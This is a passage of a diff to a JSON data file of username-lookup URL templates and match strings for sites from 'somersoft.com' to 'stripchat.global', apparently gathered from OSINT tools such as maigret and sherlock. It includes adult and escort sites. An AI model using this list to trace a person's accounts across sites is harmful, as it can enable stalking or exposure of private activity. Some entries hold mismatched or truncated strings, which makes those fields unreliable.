+ }, + { + "name": "somersoft.com", + "url": "https://www.somersoft.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SoMyMy (underwear sales)", + "url": "https://somymy.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Sorry, that page is not found!

    ", + "match_string": ">Last seen" + }, + { + "name": "Sony-club", + "url": "https://www.sony-club.ru/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "sony127.3dn.ru", + "url": "http://sony127.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sony_stratege", + "url": "https://sony.stratege.ru/forums/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0430\u0439\u0442 \u0437\u0430\u043a\u0440\u044b\u0442" + }, + { + "name": "Soobshestva", + "url": "http://www.soobshestva.ru/forum/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SOOP", + "url": "https://www.sooplive.co.kr/station/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sorento_kia-club", + "url": "http://sorento.kia-club.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "soslujivzi.ru", + "url": "http://soslujivzi.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sotoguide", + "url": "https://sotoguide.ru/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Soul Cams", + "url": "https://www.soulcams.com/profile/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "SoulCams", + "match_string": "Live cam | Soulcams.com" + }, + { + "name": "SoundCloud", + "url": "https://soundcloud.com/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soundex", + "url": "https://soundex.ru/forum/index.php?/search/&q={}&quick=1&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "soundfactory.ucoz.org", + "url": "http://soundfactory.ucoz.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soundgym", + "url": "https://www.soundgym.co/member/profile?m={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Soup", + "url": "https://www.soup.io/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "SourceForge", + "url": "https://sourceforge.net/u/{}/profile", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "Personal Tools" + }, + { + "name": "SourceForge", + "url": "https://sourceforge.net/u/{}", + "category": "tech", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sourceforge", + "url": "https://sourceforge.net/user/username/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"success\": 1", + "match_code": 400, + "match_string": "\"error\": \"invalid\"" + }, + { + "name": "SourceForge", + "url": "https://sourceforge.net/u/{}/profile/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found" + }, + { + "name": "Sourcewatch", + "url": "https://www.sourcewatch.org/index.php?title=User:{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "southbayriders.com", + "url": "http://www.southbayriders.com/forums//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SouthernGFE", + "url": "https://www.southerngfe.com/escorts/search?searchword={}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Your search does not return any result.", + "match_string": "title='{username}" + }, + { + "name": "Southklad", + "url": "https://southklad.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "southparkz.net", + "url": "http://southparkz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sovgavan.ru", + "url": "http://sovgavan.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "soylentnews", + "url": "https://soylentnews.org/~{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The user you requested does not exist, no matter how much you wish this might be the case." + }, + { + "name": "Sp-shopogoliki", + "url": "https://sp-shopogoliki.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Spaces", + "url": "https://spaces.im/mysite/index/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d", + "match_string": "\u0421\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u043e\u0434\u0430\u0440\u043e\u043a" + }, + { + "name": "spaceserials.ru", + "url": "http://spaceserials.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spankpay", + "url": "https://spankpay.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "SpankPay.Me", + "match_string": " - SpankPay.Me" + }, + { + "name": "Spark", + "url": "https://spark.ru/startup/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sparkpeople", + "url": "https://www.sparkpeople.com/mypage.asp?id={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "We couldn't find that user" + }, + { + "name": "Sparkpeople", + "url": "https://sparkpeople.com/mypage.asp?id={}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "We couldn't find that user", + "match_string": "member_" + }, + { + "name": "Spartak_msk", + "url": "http://spartak.msk.ru/guest/search.php?keywords=&terms=all&author={}", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443" + }, + { + "name": "Spb-projects", + "url": "http://spb-projects.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Speaker Deck", + "url": "https://speakerdeck.com/{}/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "User Not Found - Speaker Deck", + "match_code": 200, + "match_string": ") on Speaker Deck" + }, + { + "name": "Speakerdeck", + "url": "https://speakerdeck.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User Not Found" + }, + { + "name": "specchiasol.ru", + "url": "http://specchiasol.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spectrum", + "url": "https://spectrum.chat/users/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "@{username}" + }, + { + "name": "spectrum-z.ru", + "url": "http://spectrum-z.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "speedrun", + "url": "https://www.speedrun.com/user/{}/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "speedrun.com", + "match_code": 200, + "match_string": "Runs - " + }, + { + "name": "Speedrun", + "url": "https://speedrun.com/user/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "not found." + }, + { + "name": "Speedrun.com", + "url": "https://speedrun.com/users/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Not found - Speedrun", + "match_string": "\"user\":{\"id\":\"" + }, + { + "name": "Spells8", + "url": "https://forum.spells8.com/u/{}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SpiceWorks", + "url": "https://community.spiceworks.com/people/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spinchat", + "url": "https://www.spinchat.com/hp/{}/", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "spishu.ru", + "url": "http://spishu.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "splatoonwiki.org", + "url": "https://splatoonwiki.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spletenie", + "url": "https://www.spletenie.ru/users/{}/stranamam/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<title>\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "spletnik", + "url": "https://spletnik.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Splice", + "url": "https://splice.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Splits.io", + "url": "https://splits.io/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SPOJ", + "url": "https://www.spoj.com/users/{}/", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Innopolis Open 2018", + "match_code": 200, + "match_string": "

    Activity over the last year

    " + }, + { + "name": "Sponsr", + "url": "https://sponsr.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sporcle", + "url": "https://www.sporcle.com/user/{}/people", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sporcle", + "url": "https://www.sporcle.com/user/{}/people/", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "error_string": "This Sporcle user cannot be found.", + "match_code": 200, + "match_string": "'s Sporcle Friends" + }, + { + "name": "Sporcle", + "url": "https://www.sporcle.com/user/{}/quizzes/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sporcle", + "url": "https://sporcle.com/user/{}/people", + "category": "forum", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "This Sporcle user cannot", + "match_string": "profile-" + }, + { + "name": "Sporewiki", + "url": "https://sporewiki.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Sportbox", + "url": "https://forum.sportbox.ru/index.php?app=members&module=list&app=members&module=list&showall=0&sort_key=members_l_display_name&sort_order=asc&max_results=20&name_box=begins&name={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0439" + }, + { + "name": "Sportlerfrage", + "url": "https://www.sportlerfrage.net/nutzer/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sports", + "url": "https://www.sports.ru/search/?query={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Sports", + "url": "https://sports.ru/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "info-block" + }, + { + "name": "Sports Tracker", + "url": "https://api.sports-tracker.com/apiserver/v1/user/name/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"code\":\"404\"", + "match_code": 200, + "match_string": "\"uuid\":" + }, + { + "name": "sports.ru", + "url": "https://www.sports.ru/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sportsjournalists", + "url": "https://www.sportsjournalists.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "sportsjournalists.com", + "url": "http://sportsjournalists.com/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SportsTracker", + "url": "https://www.sports-tracker.com/view_profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\"code\":\"404\"" + }, + { + "name": "Sportstracklive", + "url": "https://www.sportstracklive.com/en/user/{}", + "category": "health", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spotify", + "url": "https://open.spotify.com/user/{}", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spotify_community", + "url": "https://community.spotify.com/t5/forums/searchpage/tab/user?q={}", + "category": "music", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\t\t0 results" + }, + { + "name": "Sprashivai", + "url": "http://sprashivai.ru/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Sprashivai_CLOSEDEAD", + "url": "http://sprashivai.ru/{}?sl", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "spreadshirt.com", + "url": "https://spreadshirt.com/shop/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Spreaker", + "url": "https://www.spreaker.com/user/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Spursarmy", + "url": "https://spursarmy.com/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": ">\u041e\u0448\u0438\u0431\u043a\u0430" + }, + { + "name": "sputnikkey.ru", + "url": "http://sputnikkey.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SPW", + "url": "https://forum.spw.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "spygaming.clan.su", + "url": "http://spygaming.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SQL", + "url": "https://www.sql.ru/forum/actualsearch.aspx?search=&sin=0&bid=0&a={}&ma=0&dt=-1&s=1&so=1", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Sr", + "url": "https://sr.ht/~{}/", + "category": "tech", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Srclog", + "url": "https://srclog.com/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ssb_wiki", + "url": "https://www.ssbwiki.com/User:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "ssbwiki.com", + "url": "https://ssbwiki.com/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sspai", + "url": "https://sspai.com/api/v1/information/user/activity/page/get?limit=10&offset=0&slug={}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "sst.hiberworld.com", + "url": "https://sst.hiberworld.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found" + }, + { + "name": "sstalkers.ru", + "url": "http://sstalkers.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stackexchange", + "url": "https://unix.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched your search" + }, + { + "name": "StackOverflow", + "url": "https://stackoverflow.com/users/filter?search={}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "no-search-results", + "match_string": "user-info" + }, + { + "name": "Stackoverflow", + "url": "https://stackoverflow.com/users/?search={}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "p>No users matched your search" + }, + { + "name": "Stackoverflow_ES", + "url": "https://es.stackoverflow.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043c\u044f: " + }, + { + "name": "Stalkerbar", + "url": "https://stalkerbar.at.ua/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "stalkerbar.at.ua", + "url": "http://stalkerbar.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Star Citizen", + "url": "https://robertsspaceindustries.com/citizens/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Star Citizens Community", + "url": "https://robertsspaceindustries.com/community-hub/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Star-girl", + "url": "https://star-girl.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Starcitizen", + "url": "https://starcitizen.tools/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Starexclub", + "url": "https://www.starexclub.ru/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u043e \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c" + }, + { + "name": "starfiles.at.ua", + "url": "http://starfiles.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "starfywiki.org", + "url": "https://starfywiki.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "staroverovka.ucoz.ua", + "url": "http://staroverovka.ucoz.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stars", + "url": "https://stars.avn.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "\"profile\"" + }, + { + "name": "Starsonice", + "url": "https://starsonice.borda.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Starvault", + "url": "https://starvault.se/mortalforums/members/?username={}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Starwars", + "url": "https://starwars.wikia.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Statistika", + "url": "http://statistika.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stats_stackexchange", + "url": "https://stats.stackexchange.com/users/filter?search={}&filter=Month&tab=Reputation", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched" + }, + { + "name": "Status Cafe", + "url": "https://status.cafe/users/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found" + }, + { + "name": "Statuspage", + "url": "https://{}.statuspage.io/api/v2/status.json", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "You are being redirected.", + "match_code": 200, + "match_string": "updated_at" + }, + { + "name": "stay.ucoz.ru", + "url": "http://stay.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Steam", + "url": "https://steamcommunity.com/id/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified profile could not be found" + }, + { + "name": "Steam (by id)", + "url": "https://steamcommunity.com/profiles/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified profile could not be found" + }, + { + "name": "Steam (Group)", + "url": "https://steamcommunity.com/groups/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No group could be retrieved for the given URL" + }, + { + "name": "Steam Community (User)", + "url": "https://steamcommunity.com/id/{}/", + "category": "gaming", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "The specified profile could not be found" + }, + { + "name": "steamdb.info", + "url": "https://steamdb.info/calculator/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-page", + "match_string": "profileForm" + }, + { + "name": "SteamGifts", + "url": "https://www.steamgifts.com/user/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "match_code": 200, + "match_string": "\"identifier\":" + }, + { + "name": "Steamid", + "url": "https://steamid.uk/profile/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "
    Profile not found
    " + }, + { + "name": "Steamidfinder", + "url": "https://steamidfinder.com/lookup/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "could not be found.", + "match_string": "se our custom tools to build a Steam profile badge" + }, + { + "name": "Steemcoinpan", + "url": "https://steemcoinpan.com/@{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "UserProfile__stats" + }, + { + "name": "steemit", + "url": "https://steemit.com/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "NotFound__menu", + "match_string": "profile" + }, + { + "name": "steller.co", + "url": "https://steller.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stereo", + "url": "https://stereo.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stereo", + "url": "https://stereo.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "@{username}" + }, + { + "name": "Sti-club", + "url": "http://www.sti-club.su/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Stihi.ru", + "url": "https://www.stihi.ru/avtor/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0410\u0432\u0442\u043e\u0440 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Stocktwits", + "url": "https://stocktwits.com/{}", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "(@{username})" + }, + { + "name": "Stoimost", + "url": "https://stoimost.com.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stoners.social (Mastodon Instance)", + "url": "https://stoners.social/api/v1/accounts/lookup?acct={}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Record not found", + "match_code": 200, + "match_string": "display_name" + }, + { + "name": "Stop-narko_info", + "url": "http://stop-narko.info/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "stop-nazi.at.ua", + "url": "http://stop-nazi.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Stopgame", + "url": "https://stopgame.ru/user/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "stopgame.ru", + "url": "https://stopgame.ru/users/profile/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Store_kde", + "url": "https://store.kde.org/u/{}", + "category": "shopping", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Strava | ", + "match_string": "Strava" + }, + { + "name": "Strava", + "url": "https://strava.com/athletes/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "media-body main" + }, + { + "name": "StreamElements", + "url": "https://api.streamelements.com/kappa/v2/channels/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "error", + "match_code": 200, + "match_string": "\"providerId\"" + }, + { + "name": "StreamLabs", + "url": "https://streamlabs.com/api/v6/user/{}", + "category": "finance", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 401, + "error_string": "Unauthorized", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Stripchat", + "url": "https://stripchat.com/api/front/users/checkUsername?username={}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "message", + "error_code": 200, + "error_string": "[]", + "match_code": 400, + "match_string": "\"error\":\"This username already exists\"" + }, + { + "name": "Stripchat", + "url": "https://stripchat.com/{}", + "category": "adult", + "source": "reveal_my_name", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oops. The page you were looking for doesn't exist", + "match_code": 200, + "match_string": "I Do in My Shows:" + }, + { + "name": "stripchat.global", + "url": "https://stripchat.global/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "
    404
